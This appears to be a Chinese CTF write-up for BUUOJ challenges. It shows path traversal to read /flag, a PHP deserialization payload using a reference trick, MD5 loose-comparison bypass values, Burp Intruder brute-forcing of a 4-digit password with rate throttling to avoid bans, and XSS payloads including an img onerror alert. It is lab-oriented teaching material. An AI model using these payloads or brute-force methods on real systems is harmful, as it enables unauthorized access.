-p: 指定端口,root: 用户名, @后接ip地址 需要知道密码
url/?file= 后面多尝试几次, 用到../ ,/等。
http://d7e2db65-10f1-43ac-9d11-5926b92612a8.node3.buuoj.cn/?file=/flag
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid()); //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID.然后进行base64编码
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET[‘pleaseget‘] === ‘1‘) {
if($_POST[‘pleasepost‘] === ‘2‘) {
if(md5($_POST[‘md51‘]) == md5($_POST[‘md52‘]) && $_POST[‘md51‘] != $_POST[‘md52‘]) {
unserialize($_POST[‘obj‘]); //对boj对象进行反序列化
}
}
写一个php脚本来序列化对象:
<?php
class BUU {
public $correct = "";
public $input = "";
}
$a = new BUU();
$a->input=&$a->correct; //传引用
$a = serialize($a);
echo $a;
?>
得到:
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
MD5绕过
md5(md51) == md5(md52) && md51!= md52
用这两种绕过:
md51=QNKCDZO&md52=240610708
md51[]=1&md52=2
payload:
用户名一般写为admin,密码随便输入提交后提示为4位数字。
BurpSuite爆破,修改payload位置为password那个位置(即$$包住的位置)
修改Intruder间隔时间,速度慢一点,防止被封。(耐心等待)
<script>alert(‘aaa‘)</script>
提交后访问提示给的地址,没有弹窗。
换个标签:
<IMG SRC=‘dfdfdf‘ onerror="alert(‘abc‘);">
提交后访问提示给的地址,成功弹窗。
img标签可以使用。
原文:https://www.cnblogs.com/jingvf/p/14881417.html